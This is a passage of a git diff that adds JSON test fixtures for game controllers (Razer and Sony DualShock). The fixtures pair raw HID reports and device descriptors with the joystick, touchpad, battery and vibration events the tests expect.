+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x01, 0x40, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x01, 0xc0, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x40, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x01, 0x80, 0xc0, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x40, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x01, 0x80, 0x80, 0xc0, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.0, "AXIS_BRAKE": 0.0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.0, "AXIS_GAS": 0.0}}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_register.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_register.json
new file mode 100644
index 0000000..81dd4b0
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_register.json
@@ -0,0 +1,22 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Razer Raiju Mobile(Bluetooth Test)",
+  "vid": 0x1532,
+  "pid": 0x0707,
+  "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+  "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
+        0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39,
+        0x15, 0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01,
+        0x81, 0x42, 0x65, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0f, 0x15, 0x00, 0x25, 0x01, 0x75,
+        0x01, 0x95, 0x0f, 0x81, 0x02, 0x75, 0x0d, 0x95, 0x01, 0x81, 0x03, 0x05, 0x02, 0x09, 0xc5,
+        0x09, 0xc4, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95,
+        0x02, 0x81, 0x02, 0x06, 0x00, 0xff, 0x09, 0x21, 0x95, 0x02, 0x81, 0x02, 0x85, 0x03, 0x0a,
+        0x21, 0x27, 0x95, 0x2f, 0xb1, 0x02, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x02,
+        0x0a, 0x23, 0x02, 0x0a, 0x24, 0x02, 0x09, 0x40, 0x09, 0xe9, 0x09, 0xea, 0x09, 0x30, 0x09,
+        0x32, 0x0a, 0xa2, 0x01, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x75,
+        0x01, 0x95, 0x08, 0x81, 0x03, 0x75, 0x08, 0x95, 0x0a, 0x81, 0x01, 0xc0, 0x05, 0x01, 0x09,
+        0x00, 0xa1, 0x01, 0x85, 0x07, 0x09, 0x03, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00, 0x46,
+        0xff, 0x00, 0x75, 0x08, 0x95, 0x0c, 0x81, 0x00, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/razer_serval_homekey.json b/tests/tests/hardware/res/raw/razer_serval_homekey.json
new file mode 100644
index 0000000..0b39087
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_serval_homekey.json
@@ -0,0 +1,11 @@
+[
+  {
+    "name": "Press HOME",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0xff],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+    ],
+    "events": [
+    ]
+  }
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/razer_serval_register.json b/tests/tests/hardware/res/raw/razer_serval_register.json
index ab27177..64090c8 100644
--- a/tests/tests/hardware/res/raw/razer_serval_register.json
+++ b/tests/tests/hardware/res/raw/razer_serval_register.json
@@ -5,6 +5,7 @@
   "vid": 0x1532,
   "pid": 0x0900,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0xa1, 0x02, 0x85, 0x01, 0x75, 0x08, 0x95, 0x04,
     0x15, 0x00, 0x26, 0xff, 0x00, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x81,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json b/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json
index 3d22120..99ae1cd 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock3_usb_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x0268,
   "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [0x05, 0x01, 0x09, 0x04, 0xa1, 0x01, 0xa1, 0x02, 0x85, 0x01, 0x75, 0x08, 0x95, 0x01,
     0x15, 0x00, 0x26, 0xff, 0x00, 0x81, 0x03, 0x75, 0x01, 0x95, 0x13, 0x15, 0x00, 0x25, 0x01, 0x35,
     0x00, 0x45, 0x01, 0x05, 0x09, 0x19, 0x01, 0x29, 0x13, 0x81, 0x02, 0x75, 0x01, 0x95, 0x0d, 0x06,
@@ -27,4 +28,3 @@
     }
   ]
 }
-
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_batteryeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_batteryeventtests.json
new file mode 100644
index 0000000..28e23a7
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_batteryeventtests.json
@@ -0,0 +1,43 @@
+[
+
+  {
+    "name": "Battery 100 percent FULL",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd7,
+        0x69, 0x9b, 0xbc],
+        [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6,
+        0x68, 0x3a, 0x37]
+    ],
+    "capacities": [1.0],
+    "status": 5   // BATTERY_STATUS_FULL
+  },
+
+  {
+    "name": "Battery 60 percent status discharging",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x48, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e,
+        0x8a, 0xfe, 0xd4],
+        [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+        0x23, 0xe0, 0x5d]
+    ],
+    "capacities": [0.55 /* kernel 5.10 or above */, 0.6 /* below kernel 5.10 */],
+    "status": 3 // BATTERY_STATUS_DISCHARGING
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json
index 4c49453..32cdcbb 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x05c4,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0e, 0x15,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_vibratortests.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_vibratortests.json
new file mode 100644
index 0000000..7708a74
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_vibratortests.json
@@ -0,0 +1,41 @@
+// Refer to kernel dualshock4_send_output_report() in drivers/hid/hid-sony.c
+[
+  {
+    "id": 1,
+    "durations" : [1000],
+    "amplitudes" : [192],
+    "leftFfIndex": 7,
+    "rightFfIndex": 6,
+    "output" :
+        [
+            {"index" : 0,
+            "data" : 0x11},   // DUALSHOCK4_CONTROLLER_BLUETOOTH
+
+            {"index" : 1,
+             "data" : 0xc4},   // HID + CRC | sc->ds4_bt_poll_interval
+
+            {"index" : 3,
+             "data" : 0x7}    // blink + LED + motor
+        ]
+  },
+
+  {
+    "id": 1,
+    "durations" : [2000, 2000, 2000, 2000, 2000],
+    "amplitudes" : [16, 32, 64, 128, 255],
+    "leftFfIndex": 7,
+    "rightFfIndex": 6,
+    "output" :
+        [
+            {"index" : 0,
+            "data" : 0x11},   // DUALSHOCK4_CONTROLLER_BLUETOOTH
+
+            {"index" : 1,
+             "data" : 0xc4},   // HID + CRC | sc->ds4_bt_poll_interval
+
+            {"index" : 3,
+             "data" : 0x7}    // blink + LED + motor
+        ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_toucheventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_toucheventtests.json
new file mode 100644
index 0000000..5d9d4a3
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_toucheventtests.json
@@ -0,0 +1,266 @@
+[
+  {
+    "name": "Initial check - should not produce any events",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x85, 0x80, 0xa5, 0x93, 0x1d, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5b,
+      0xc4, 0x53, 0x23]
+    ],
+    "events": [
+    ]
+  },
+  {
+    "name": "Touch center of touchpad",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0x69, 0x1d, 0x52, 0x84, 0x1e, 0x80, 0x00, 0x00, 0x00,
+      0x6f, 0x9d, 0x52, 0x84, 0x1e, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf1,
+      0x90, 0x93, 0x37],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x77, 0x9d, 0x52, 0x84, 0x1e, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3,
+      0x02, 0x2b, 0x71]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {"action": "DOWN", "axes": {"AXIS_X": 1106, "AXIS_Y": 488, "AXIS_PRESSURE": 1}},
+      {"action": "UP", "axes": {"AXIS_X": 1106, "AXIS_Y": 488, "AXIS_PRESSURE": 1}}
+    ]
+  },
+  {
+    "name": "Press touchpad button",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xd6, 0x1a, 0xaa, 0x53, 0x22, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd7,
+      0x7f, 0xa5, 0x17],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x19, 0x1a, 0xa7, 0x53, 0x22, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14,
+      0xa9, 0x21, 0xa7],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xfb, 0x9a, 0xa1, 0xd3, 0x21, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
+      0x9d, 0x6f, 0x0a]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {
+        "action": "DOWN",
+        "axes": {"AXIS_X": 938, "AXIS_Y": 549, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1},
+        "buttonState": ["PRIMARY"]
+      },
+      {
+        "action": "BUTTON_PRESS",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1},
+        "buttonState": ["PRIMARY"]
+      },
+      {
+        "action": "BUTTON_RELEASE",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "UP",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1}
+      }
+    ]
+  },
+  {
+    "name": "One finger move from top left to bottom right of touchpad",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x0b, 0xa5, 0x22, 0x67, 0x38, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xda,
+      0xe0, 0x2c, 0xe0],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0xb7, 0x26, 0x3f, 0x90, 0x01, 0x80, 0x00, 0x00, 0x00,
+      0xbe, 0x26, 0x40, 0x90, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc,
+      0xf1, 0xb0, 0xb2],
